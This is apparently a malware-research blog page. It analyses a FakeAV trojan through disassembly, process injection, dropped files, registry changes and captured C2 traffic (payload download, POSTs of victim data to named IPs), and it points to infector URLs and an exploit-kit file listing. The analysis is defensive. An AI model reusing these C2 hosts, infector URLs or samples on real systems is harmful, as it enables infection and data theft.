MachineType              : Intel 386 or later, and compatibles
TimeStamp                : 2012:11:23 11:53:36+00:00
FileType                 : Win32 EXE
PEType                   : PE32
CodeSize                 : 53248
LinkerVersion            : 9.0
EntryPoint               : 0x1a87
InitializedDataSize      : 100352
SubsystemVersion         : 5.0
OSVersion                : 5.0
It has the strings here --->>[CLICK]This is strings with calls -->>[CLICK]Also is having Calls/DLL List here -->>[CLICK]Having the Functions list here--->>[CLICK]*) those similar functions often seen in the crypted malwares...  //Upon starts this binary get environment & execute command line: 
loc_40191A:
push    58h
push    offset unk_40FF80
call    sub_403D40
lea     eax, [ebp-68h]
push    eax             ; lpStartupInfo
call    ds:GetStartupInfoW
xor     esi, esi
cmp     dword_414A6C, esi
jnz     short loc_401945
 ↓
loc_401945:
loc_401958:
loc_401953:
loc_40198E:
loc_40199F:
loc_4019B0:
 ↓
loc_4019C9:
call    ds:GetCommandLineA
mov     dword_414A68, eax
call    sub_405C67
mov     lpMem, eax
call    sub_405BAC
test    eax, eax
jns     short loc_4019EF 
　↓
loc_4019EF:
loc_401A00:
loc_401A13:
loc_401A24:
//Other OP i.e. creating+write files, Get/Create/Terminate Process acts -->>[CLICK]Also a dialog-box OP like below w/File Operations, Implied a GUI↓ // Some file w/dialog box...see a lot of these in FakeAV Malwares... 
 .text:0040DF5A  align 10h
.text:0040DF60  push    ebp
.text:0040DF61  mov     ebp, esp
.text:0040DF63  mov     eax, ds:ChooseFontW ; Create a Font common dialog box
.text:0040DF68  mov     dword_412C84, eax
.text:0040DF6D  mov     ecx, ds:GetFileTitleW ; Extract FileName from FullName
.text:0040DF73  mov     dword_412C88, ecx
.text:0040DF79  mov     edx, ds:PageSetupDlgW ; Create a Page Setup dialog box for
.text:0040DF79                          ; specifying the attributes of a printed page
.text:0040DF7F  mov     dword_412C8C, edx
.text:0040DF85  mov     eax, ds:FindTextW ; Create a system-defined modeless
.text:0040DF85                          ; dialog box for text-search
.text:0040DF8A  mov     dword_412C90, eax
.text:0040DF8F  mov     ecx, ds:PrintDlgExW
.text:0040DF95  mov     dword_412C94, ecx
.text:0040DF9B  mov     edx, ds:GetFileTitleW ; Extract FileName from FullName
.text:0040DFA1  mov     dword_412C98, edx
.text:0040DFA7  mov     eax, ds:GetOpenFileNameW ; Create an Open common dialog box
.text:0040DFAC  mov     dword_412C9C, eax
.text:0040DFB1  mov     ecx, ds:ReplaceTextW ; Create a system-defined modeless
.text:0040DFB1                          ; dialog box for text-replace
.text:0040DFB7  mov     dword_412CA0, ecx
.text:0040DFBD  mov     edx, ds:CommDlgExtendedError ; Get a common dialog box error code
.text:0040DFC3  mov     dword_412CA4, edx
.text:0040DFC9  mov     eax, ds:GetSaveFileNameW ; Create a Save common dialog box
.text:0040DFCE  mov     dword_412CA8, eax
.text:0040DFD3  mov     ecx, ds:ChooseFontW ; Create a Font common dialog box
.text:0040DFD9  mov     dword_412CAC, ecx
.text:0040DFDF  pop     ebp
.text:0040DFE0  retn
Behaviour Analysis
This is the result if you run the softwares, I'll make it brief. //File activities... 
//self deletion of the original sample..
  C:\unixfreaxjp-test\sample.exe 
////drops & self-copied into...
1. C:\Documents and Settings\User\Local Settings\Application Data\hdjusttt.exe
*) This name is random in every case...
//Created processes... 
//By: origin hdjusttt.exe 249d145396baa974753e41d79982ae81190ffeafd24b9acdadc2d451fdb8f81d , 
//path=C:\Documents and Settings\User\Local Settings\Application Data\hdjusttt.exe (sample)
  |
  +--  0xf0 notepad.exe C:\WINDOWS\system32\NOTEPAD.EXE
  +--  0x7e4 svchost.exe C:\WINDOWS\system32\svchost.exe (Foreign Memory Regions Written)

//With thread below...
  0xf0 notepad.exe 0xf4 0x7c810867
    |
    +--0x348 svchost.exe 0x784 0x7c810856 (Foreign Memory Regions Written)
    +--0x3e8 svchost.exe 0x94 0x7c810856 (Foreign Memory Regions Written)
    +--0x7e4 svchost.exe 0xb8 0x7c810867 (Foreign Memory Regions Written)
//Three important Registry changes detected... 
//Creating fake NotePad...
HKCU\Software\Microsoft\Notepad

//Internet settings...
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings 
Type: REG_BINARY/REG_BINARY 
From: 56/56 
To:  XX/XX //binary...

//malware exec start origin regists...
Key: HKU\..\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders
Type: Local AppData
New: C:\DocumentsandSettings\Administrator\LocalSettings\Application Data  
//Downloads and install FakeAV components: 
date        hrs     size  filename                              md5
-----------------------------------------------------------------------------------------------
2012/11/24  20:53   2,960 945C33B96395E50D0000945B9F62EA33      811cfb9b55bd85562a5466918ebd2c63          
2012/11/24  20:09 443,392 945C33B96395E50D0000945B9F62EA33.exe  62ed7e0847e333064d75555446d92bff            
2012/11/24  20:09   4,286 945C33B96395E50D0000945B9F62EA33.ico  f979390b4527bed0661ff1130202a1b5           
//And runs it like this captured... Yes, the strange desktop task icons shows you fake alert... And the Notepad suddenly popped-up, I suppose is to make users feel that - the PC is currently infected (LOL)  //Then it started to scan your PC with fake scans & licking everything...  After the scan done it will pop this message to make you pay to continue using ur PC.. ↑I marked the support center & the non-refund terms..  It dropped the malware saved data below: File:945C33B96395E50D0000945B9F62EA33 MD5:811cfb9b55bd85562a5466918ebd2c63,  Contents: 

0000   41 3B 11 3E 7D 59 5F 25 69 48 32 1B 6C 64 69 18    A;.>}Y_%iH2.ldi.
0010   71 5A 7A 70 1C 15 72 70 DB 42 18 DA 74 1F FB 00    qZzp..rp.B..t...
0020   94 A0 F4 CB 2A D9 90 09 FF A9 2C F8 57 27 9E 71    ....*.....,.W'.q
0030   99 78 6D 9F 50 87 F6 7F 5A AE 72 C7 CD 45 BD 80    .xm.P...Z.r..E..
0040   31 8F F0 0F 04 6B 4B 46 3D 68 F0 E7 91 89 C5 B3    1....kKF=h......
0050   70 45 14 80 9F 3E D4 2B 19 45 D7 7C C2 4A 98 AA    pE...>.+.E.|.J..
0060   AA 39 19 F8 E8 68 4D 16 DB B2 CF CE 70 5D 69 35    .9...hM.....p]i5
0070   FA A1 C7 A3 DB 84 31 44 D4 F3 05 0C C1 CB 91 06    ......1D........
0080   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0090   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00A0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00B0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00C0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00D0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00E0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
00F0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0100   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0110   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0120   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0130   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0140   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0150   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0160   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0170   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0180   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
0190   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01A0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01B0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01C0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01D0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01E0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
01F0   FF A9 2C F8 57 27 9E 71 FF A9 2C F8 57 27 9E 71    ..,.W'.q..,.W'.q
Not only the above crime, this software actually sent ur data outside, see the PoC in the Network analysis below...  
Network analysis
Three communications to 217.76.130.213, 59.126.131.132, 61.222.241.208 occurred:  The first trace network was the download of the FakeAV program, from Host: proyectosnavarra.es(217.76.130.213), memo'ed this as below: 
0000  00 a0 c9 22 b0 ee 00 1b  8b 69 9d 9d 08 00 45 00   ...".... .i....E.
0010  00 b7 8f 3c 40 00 80 06  47 38 c0 a8 07 02 d9 4c   ...<@... G8.....L
0020  82 d5 06 6b 00 50 b4 7c  5e fe 0e 68 c8 3f 50 18   ...k.P.| ^..h.?P.
0030  7d 78 a9 18 00 00 47 45  54 20 2f 39 34 35 43 33   }x....GE T /945C3
0040  33 42 39 36 33 39 35 45  35 30 44 30 30 30 30 39   3B96395E 50D00009
0050  34 35 42 39 46 36 32 45  41 33 33 2e 65 78 65 20   45B9F62E A33.exe
↑It said GET /945C33B96395E50D0000945B9F62EA33.exe HTTP/1.0 After getting installed I recorded all of comm PCAP data, highlighted below:  //Sending data to (59.126.131.132:8080) using HTTP/POST 
POST /index.php HTTP/1.1
Host: 59.126.131.132:8080:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; SV1; .NET CLR 1.1.4777)
Accept: */*
Accept-Language: en-gb
Accept-Encoding: deflate
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 848

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sid"

6505105311892209
--1BEF0A57BE110FD467A

Content-Disposition: form-data; name="up"
431718

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wbfl"

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="v"

201
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ping"

1182
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="guid"

{BC471CE6-8BA5-4705-B840-5CEA99636DEC}
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wv"

5#2#3#0#2600#0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ms"

0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sr"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ar"
0
--1BEF0A57BE110FD467A--
And got replied below: (NOTE: It saved data in your PC) 
HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 24 Nov 2012 11:46:15 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.4.4-7
Vary: Accept-Encoding
Content-Length: 823

HTTP/1.1 200 OK
Date: Sat, 24 Nov 2012 11:46:22 GMT
Server: Apache/2.2.16
Content-Length: 637
Connection: close
Content-Type: multipart/form-data; boundary="1BEF0A57BE110FD467A"

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="COMMON"; filename="COMMON.BIN"
Content-Type: application/octet-stream

'hr.%-.+.*+.(**#"))+"'4hr.%.'ywtxp%.'m%.***.'4m%.'h%*/+5*(.5--5)*,!#+#+.
*,#5,,5*+(5./!#+#+.*##5)*)5*.-5*#+!#+#+.*##5/+5*/*5/!/(/.-.)+)5*-"5))/5)
+)!#+#+.)**5*,)5**)5,!#+#+./-5*+.5*)*5#-!/(/.-..+5))5*(-5*.+!#+#+.."5*)-
5*(*5*()!#+#+.."5).5*#"5)(/!#+#+.-*5)))5)/*5)+#!#+#+.--5)()5*/.5*,/!---,.
#*5"(5)/#5*.)!#+#+.#)5**(5)+/5))#!#+#+."*5*)*5"+5#+!#+#+."*5)+.5-(5*"/!/(/
.-.wt}o|nu+*5in.kthoytc"+*5in.hytwo,*5in.hwtktpzu)*5in.o~izurzu***5in'4h%.
'h~w}rk%."5*)-5*(*5*()'4h~w}rk%.'4ywtxp%--1BEF0A57BE110FD467A--
//Then it sends data to (61.222.241.208:8080) via HTTP/POST like as before... 
POST /index.php HTTP/1.1
Host: 61.222.241.208:8080:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; SV1; .NET CLR 1.1.4777)
Accept: */*
Accept-Language: en-gb
Accept-Encoding: deflate
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 848

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sid"

3549713911081243
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="up"

689468
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wbfl"

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="v"

201
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ping"

1182
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="guid"

{BC471CE6-8BA5-4705-B840-5CEA99636DEC}
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wv"

5#2#3#0#2600#0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ms"

0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sr"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ar"

0
--1BEF0A57BE110FD467A--
And got replied too↓(NOTE: It saved data in your PC) 
HTTP/1.1 200 OK
Server: nginx/1.2.5
Date: Sat, 24 Nov 2012 11:53:53 GMT
Content-Type: text/html
Content-Length: 823
Connection: keep-alive
X-Powered-By: PHP/5.4.4-7
Vary: Accept-Encoding

HTTP/1.1 200 OK
Date: Sat, 24 Nov 2012 11:50:37 GMT
Server: Apache/2.2.16
Content-Length: 637
Connection: close
Content-Type: multipart/form-data; boundary="1BEF0A57BE110FD467A"

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="COMMON"; filename="COMMON.BIN"
Content-Type: application/octet-stream

'hr.%(./",*("**+#*)/('4hr.%.'ywtxp%.'m%.***.'4m%.'h%*/+5*(.5--5)*,!#+#+.*,#5,,
5*+(5./!#+#+.*##5)*)5*.-5*#+!#+#+.*##5/+5*/*5/!/(/.-.)+)5*-"5))/5)+)!#+#+.)**5
*,)5**)5,!#+#+./-5*+.5*)*5#-!/(/.-..+5))5*(-5*.+!#+#+.."5*)-5*(*5*()!#+#+.."5).
5*#"5)(/!#+#+.-*5)))5)/*5)+#!#+#+.--5)()5*/.5*,/!---,.#*5"(5)/#5*.)!#+#+.#)5**
(5)+/5))#!#+#+."*5*)*5"+5#+!#+#+."*5)+.5-(5*"/!/(/.-.wt}o|nu+*5in.kthoytc"+*5in.
hytwo,*5in.hwtktpzu)*5in.o~izurzu***5in'4h%.'h~w}rk%-*5)))5)/*5)+#'4h~w}rk%.'4y
wtxp%--1BEF0A57BE110FD467A--
//Then it seeked DNS of sys.cougarsupport.net TestPC --> 8.8.8.8 DNS Standard query A sys.cougarsupport.net 8.8.8.8 -->     TestPC DNS Standard query response A 178.32.29.188 
0000  00 a0 c9 22 b0 ee 00 12  f0 e9 3e 3e 08 00 45 00   ...".... ..>>..E.
0010  00 43 01 39 00 00 80 11  61 65 c0 a8 07 54 08 08   .C.9.... ae...T..
0020  08 08 04 b4 00 35 00 2f  b5 9d d5 31 01 00 00 01   .....5./ ...1....
0030  00 00 00 00 00 00 03 73  79 73 0d 63 6f 75 67 61   .......s ys.couga
0040  72 73 75 70 70 6f 72 74  03 6e 65 74 00 00 01 00   rsupport .net....
0050  01                 
Which ending up the request of the support center web site... 
GET /?nid=9455E50D HTTP/1.1
Accept: */*
Accept-Language: ja
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: sys.cougarsupport.net
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sat, 24 Nov 2012 11:54:06 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.14
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

4e44

＜!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "h00p://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"＞
＜html xmlns="h00p://www.w3.org/1999/xhtml" xml:lang="en" lang="en"＞
    ＜head＞
        ＜title＞ System Progressive Protection ＜/title＞
        ＜meta h00p-equiv="Content-type" content="text/html;charset=UTF-8" /＞
        ＜link rel="stylesheet" type="text/css" href="styles/main.css" /＞
    ＜/head＞

    ＜body＞
        ＜div class="wrap"＞
            ＜div class="left-part"＞
                ＜div class="logo-img"＞
                    ＜img src="/img/system-progressive-protection.png" alt="logo" /＞
                ＜/div＞  :
  :
Here's the snapshot of support page of this sh*t↓  
IP Infector's History Analysis
As we see, the A record leads us to IP 217.76.130.213, 217.76.130.3 I think I saw the 217.76.130.213 before...  seeking the notes & found below previous infections in that IP: 
//infector records, source: SPAM
h00p://cimatfoto.com/
h00p://grupoestudio.com/default.html
//trojan dropped records, source also SPAM
h00p://bc2bc.eu/imagenes/explorer-7.0.exe
h00p://grupoestudio.com/get_flash_update.exe
Let's see the current status of this IP infector, suspected an EK is active there, used the recent url... //fetch... 
--17:03:36--  h00p://cimatfoto.com/
           => `index.html'
Resolving cimatfoto.com... 217.76.130.213
Connecting to cimatfoto.com|217.76.130.213|:80... connected.
HTTP request sent, awaiting response... 200 OK
HTTP/1.1 200 OK
Content-Length: 481
Content-Type: text/html
Content-Location: h00p://cimatfoto.com/index.htm
Last-Modified: Wed, 29 Feb 2012 11:59:52 GMT
Accept-Ranges: bytes
ETag: "caa60a5d9f6cc1:958"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 24 Nov 2012 08:06:03 GMT
Connection: keep-alive
Length: 481 [text/html]
17:03:37 (12.07 MB/s) - `index.html' saved [481/481]
It is an an IFRAME redirector...to m1 & m2.htm 
$ cat index.html
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"＞
＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"＞
＜title＞Cimat Foto s.a.＜/title＞
＜/head＞
＜frameset rows="1,*" cols="*" framespacing="0" frameborder="NO" border="0"＞
  ＜frame src="m1.htm" name="m1" scrolling="NO" noresize id="m1"＞
  ＜frame src="m2.htm" name="m2" id="m2"＞
＜/frameset＞
＜noframes＞＜body＞
＜/body＞＜/noframes＞
＜/html＞
And we found what looks like infector in m2.htm↓ 
--17:07:54--  h00p://cimatfoto.com/m2.htm
           =＞ `m2.htm'
Resolving cimatfoto.com... 217.76.130.213
Connecting to cimatfoto.com|217.76.130.213|:80... connected.
h00p request sent, awaiting response... 200 OK
Length: 736 [text/html]
17:07:55 (20.76 MB/s) - `m2.htm' saved [736/736]

$ cat m2.htm

＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"h00p://www.w3.org/TR/html4/loose.dtd"＞
＜html＞
＜head＞
＜meta h00p-equiv="Content-Type" content="text/html; charset=iso-8859-1"＞
＜title＞Documento sin título＜/title＞
＜script language="JavaScript" type="text/JavaScript"＞
＜!--
function MM_goToURL() { //v3.0
  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
  for (i=0; i＜(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}
//--＞
＜/script＞
＜/head＞
＜body onLoad="MM_goToURL('parent.frames[\'m2\']','WEB/Inicio.html');return document.MM_returnValue"＞
＜img src="h00p://cgi.cimatfoto.com/Count.exe?df=cimatfoto.com.c1&dd=57chevy&sh=F&ft=0&pad=F"＞
＜/body＞
＜/html＞
Leads us to download Inicio.html & lead us to spanish photography online store/site, a spam site it is (darn!) But the other history of the downloaded trojans shows us this is not a good site/IP. We know it is an unhealthy  redirector scheme and  God knows what other evil landing page w/redir schemes exists in this IP..  
Samples / References
Samples of this analysis↓ You can download them here-->>[CLICK] Virus Total Detection Ratio↓ CMUNFWKUWY.html                        4fc7aba0c29053469b9f5c6ff2b04c1b (0/44) malware.eml                            434b9db6d22b0a09f3adab8ae8ebdf34 (0/44) Postal_Receipt.exe                     3811ed1d5493d02ee7720f36e31a54c4 (20/44) Receipt.zip                            f59f065647151aa701c553bea0da44c1 (22/44) 945C33B96395E50D0000945B9F62EA33.exe   62ed7e0847e333064d75555446d92bff (2/44)  ↑If you see these well, infectors are about 50% detected, but the FakeAV program - is only detected by 2(two) AntiVirus products..(ESET & K7) POINT is the usage of the crypter made malware detection ratio smaller..  If you got locked by this mess, below is the unlocked key: 
AA39754E-715219CE
There are many way to REMOVE this malware -->>[CLICK] Be careful friends by opening UPS emails. Stay Safe!

#MalwareMustDie

Read More

Thứ Năm, 22 tháng 11, 2012

Update 2: Domain Monster: Email server issues (again)

18:37 nam tóc xù
Happy to report, email is now working again. Now busy as hell catching up.

If you've received a Relay access denied error when trying to e-mail, please re-send it. If not, don't worry, I'll get to it as soon as I can.
Read More

Chủ Nhật, 18 tháng 11, 2012

Update: Domain Monster: Email server issues (again)

10:22 nam tóc xù
Seems the problem is actually worse than I thought. I was aware of the issue with connecting to the incoming mail server, but found out a few hours ago from an ex, that there's also an issue with people sending me e-mail.

Still no idea what the problem actually is (spoke to Domain Monster again a few moments ago, and they're still working on it, MX and A records are absolutely fine), but if
Read More

Thứ Bảy, 17 tháng 11, 2012

PluginDetect 0.7.9 infector "et" Cridex Payloads of BlackHole Exploit Kit v2 (203.80.16.81) used CVE-2012-4681, CVE-2012-5076, CVE-2009-0927++

11:06 nam tóc xù 
I came into PluginDetect 0.7.9 usage in the BHEK2 recently.
The software PluginDetect 0.7.9 was released today in with the following details:
PluginDetect Library
version: 0.7.9
released: 10/17/2012
by Eric Gerds

You can see it yourself in its website here --->>[CLICK]
Or see the below capture pic of the site (click to enlarge)


If you click the "Download PluginDetect" menu on the left side, you'll see
a javascript generator of PluginDetect, as per picture below:


After you choose your options on which components to detect of a browser,
this generator applet will burp a javascript code result like below:

↑If you see closely to the marked part of the code then you will recognize it -
as our old friend PluginDetect used to be used by BlackHole Exploit Kit v2/BHEK2.

PluginDetect is actually a useful good code to create a detection of a browser, 
however BHEK2 and other EK is misused it for the bad purpose.

We know that BHEK2 were previously using PluginDetect 0.7.8, but today I bumped 
to infector with using PluginDetect 0.7.9 with CVE-2012-5076 & below is the story:

Hinted by our @Hulk_Crusader, we investigated an infector site at: fi.mattlemons.org
It contains a lot of infector links as per snipped below:
   [1]Name          [2]Last modified    [3]Size  
------------------------------------------------
  [5]Jssl.php           16-Nov-2012 05:52   73K
  [6]aVhg.html          11-Nov-2012 06:21  391
  [7]bVhg.html          11-Nov-2012 06:21  611
  [8]bablo5.php         16-Nov-2012 16:05   67
  [9]bind.php           11-Nov-2012 07:24   12K
  [10]faqPkOE.php       11-Nov-2012 07:32  8.2K
  [11]favicon.gif       05-Sep-2011 14:17    0
  [12]favicon.ico       05-Sep-2011 14:17    0
  [13]index.main.php    16-Nov-2012 05:47  4.0K
  [14]info.php          16-Nov-2012 05:49   34K
  [15]jorik5.php        16-Nov-2012 16:05   74
  [16]joy.php           16-Nov-2012 05:49  5.5K
  [17]mainEFjd.php      16-Nov-2012 05:49  8.2K
  [18]mainVjH.php       16-Nov-2012 05:49  8.2K
  [19]page8.htm         16-Nov-2012 15:11  1.0K
  [20]rVhg.html         11-Nov-2012 06:21  744
  [21]sVhg.html         11-Nov-2012 06:21  664
  [22]seo4.php          16-Nov-2012 16:05   70
  [23]sitemapl82.php    16-Nov-2012 05:50  8.2K
  [24]stylecss.php      16-Nov-2012 05:51   24K
  [25]system_file.php   16-Nov-2012 15:11   71
  [26]topsale5.php      16-Nov-2012 16:05   67
  [27]w11292880n.php    16-Nov-2012 05:51   24K
  [28]w11384180n.php    16-Nov-2012 05:52   24K
  [29]w11884808n.php    16-Nov-2012 05:53   24K
  [30]w11991996n.php    16-Nov-2012 05:53   24K
  [31]w12272200n.php    16-Nov-2012 05:54   24K
  [32]w12745201n.php    09-Nov-2012 06:54  303K <=== suspicious
  [33]w14074084n.php    16-Nov-2012 05:54   92K
  [34]w14137042n.php    16-Nov-2012 05:54   92K
  [35]w14455434n.php    16-Nov-2012 05:55   24K
  [36]w15104461n.php    16-Nov-2012 05:56   70K
  [37]w16762030n.php    16-Nov-2012 05:56   24K
  [38]w17886614n.php    16-Nov-2012 05:56   70K
  [39]w18956554n.php    16-Nov-2012 05:57   24K
  [40]w19446592n.php    16-Nov-2012 05:58   24K
  [41]w19572944n.php    16-Nov-2012 05:58   24K
  [42]w20687587n.php    16-Nov-2012 05:58   24K
  [43]w21108783n.php    16-Nov-2012 05:58   24K
  [44]w22312966n.php    16-Nov-2012 06:00   24K
  [45]w24463996n.php    16-Nov-2012 06:00   24K
  [46]w24813801n.php    16-Nov-2012 06:02   24K
  [47]w24912540n.php    16-Nov-2012 06:03   24K
  [48]w25181459n.php    16-Nov-2012 06:05   24K
  [49]w25516725n.php    16-Nov-2012 06:05   92K
  [50]w26388892n.php    09-Nov-2012 06:37  297K <=== suspicious
  [51]w26953552n.php    16-Nov-2012 06:07   92K
  [52]w27341032n.php    16-Nov-2012 06:08   24K
  [53]w27711058n.php    16-Nov-2012 06:10   24K
  [54]w27944845n.php    16-Nov-2012 06:11   24K
  [55]w29438343n.php    16-Nov-2012 12:36   23K
  [56]w32104720n.php    16-Nov-2012 12:36   23K
  [57]w32403343n.php    16-Nov-2012 12:36   23K
  [58]w32844482n.php    16-Nov-2012 12:36   23K
  [59]w33118612n.php    16-Nov-2012 12:36   23K
  [60]w33764801n.php    16-Nov-2012 12:36   23K
  [61]w36011284n.php    16-Nov-2012 12:36   23K
  [62]w36584950n.php    09-Nov-2012 07:36  138K <=== suspicious
  [63]w37531540n.php    16-Nov-2012 12:36   23K
  [64]w37715594n.php    16-Nov-2012 12:36   23K
  [65]w37727072n.php    16-Nov-2012 12:36   23K
  [66]w38297236n.php    16-Nov-2012 12:36   23K
  [67]w38994382n.php    16-Nov-2012 12:36   23K
  [68]w39565125n.php    16-Nov-2012 12:36   23K
  [69]w39715194n.php    16-Nov-2012 12:36   23K
  [70]w41352222n.php    16-Nov-2012 12:36   23K
  [71]w42271663n.php    16-Nov-2012 12:36   92K
  [72]w42595965n.php    16-Nov-2012 12:36   23K
  [73]w43085485n.php    16-Nov-2012 12:36   23K
  [74]w43584820n.php    16-Nov-2012 12:36   23K
  [75]w45042947n.php    16-Nov-2012 12:36   23K
  [76]w48788700n.php    16-Nov-2012 12:36   23K
  [77]w49496620n.php    16-Nov-2012 12:36   23K
  [78]w49977014n.php    16-Nov-2012 12:36   23K
  [79]w51693290n.php    16-Nov-2012 12:36   23K
  [80]w52354703n.php    16-Nov-2012 12:36   23K
  [81]w54253689n.php    16-Nov-2012 12:36   23K
  [82]w54406687n.php    16-Nov-2012 12:36   23K
  [83]w54854224n.php    16-Nov-2012 12:36   23K
  [84]w54924852n.php    16-Nov-2012 12:36   23K
  [85]w55756681n.php    16-Nov-2012 12:36   23K
  [86]w56926790n.php    16-Nov-2012 12:36   69K
  [87]w57142260n.php    16-Nov-2012 12:36   23K
  [88]w57288477n.php    16-Nov-2012 12:36  160K <=== suspicious
  [89]w57363423n.php    16-Nov-2012 12:36   23K
  [90]w57574466n.php    16-Nov-2012 12:36   23K
  [91]w58386696n.php    16-Nov-2012 12:36   23K
  [92]w58414355n.php    16-Nov-2012 12:36   69K
  [93]w58824744n.php    16-Nov-2012 12:36   23K
  [94]w59182790n.php    16-Nov-2012 12:36   23K
  [95]w59615462n.php    16-Nov-2012 12:36   69K
  [96]w59702531n.php    16-Nov-2012 12:36   23K
  [97]w60326763n.php    09-Nov-2012 04:22  275K <=== suspicious
  [98]w61856170n.php    16-Nov-2012 12:36   23K
  [99]w62088643n.php    09-Nov-2012 07:38  161K <=== suspicious
  [100]w64137644n.php   16-Nov-2012 12:36  115K <=== suspicious
  [101]w64214598n.php   16-Nov-2012 12:36   69K
  [102]w64908493n.php   16-Nov-2012 12:36   23K
  [103]w64956301n.php   16-Nov-2012 12:36   23K
  [104]w65944817n.php   16-Nov-2012 12:36   92K
  [105]w65994077n.php   16-Nov-2012 12:36   23K
  [106]w66442417n.php   16-Nov-2012 12:36   23K
  [107]w67063022n.php   16-Nov-2012 12:36   23K
  [108]w67424797n.php   16-Nov-2012 12:36   69K
  [109]w68083912n.php   16-Nov-2012 12:36   92K
  [110]w68562749n.php   16-Nov-2012 12:36   23K
  [111]w69423332n.php   16-Nov-2012 12:36   23K
  [112]w69863913n.php   16-Nov-2012 12:36  115K <=== suspicious
  [113]w71004261n.php   16-Nov-2012 12:36   23K
  [114]w71254201n.php   16-Nov-2012 12:36   23K
  [115]w71703411n.php   16-Nov-2012 12:36   23K
  [116]w72627688n.php   16-Nov-2012 12:36   23K
  [117]w74483378n.php   16-Nov-2012 12:36   23K
  [118]w75274537n.php   16-Nov-2012 12:36  115K <=== suspicious
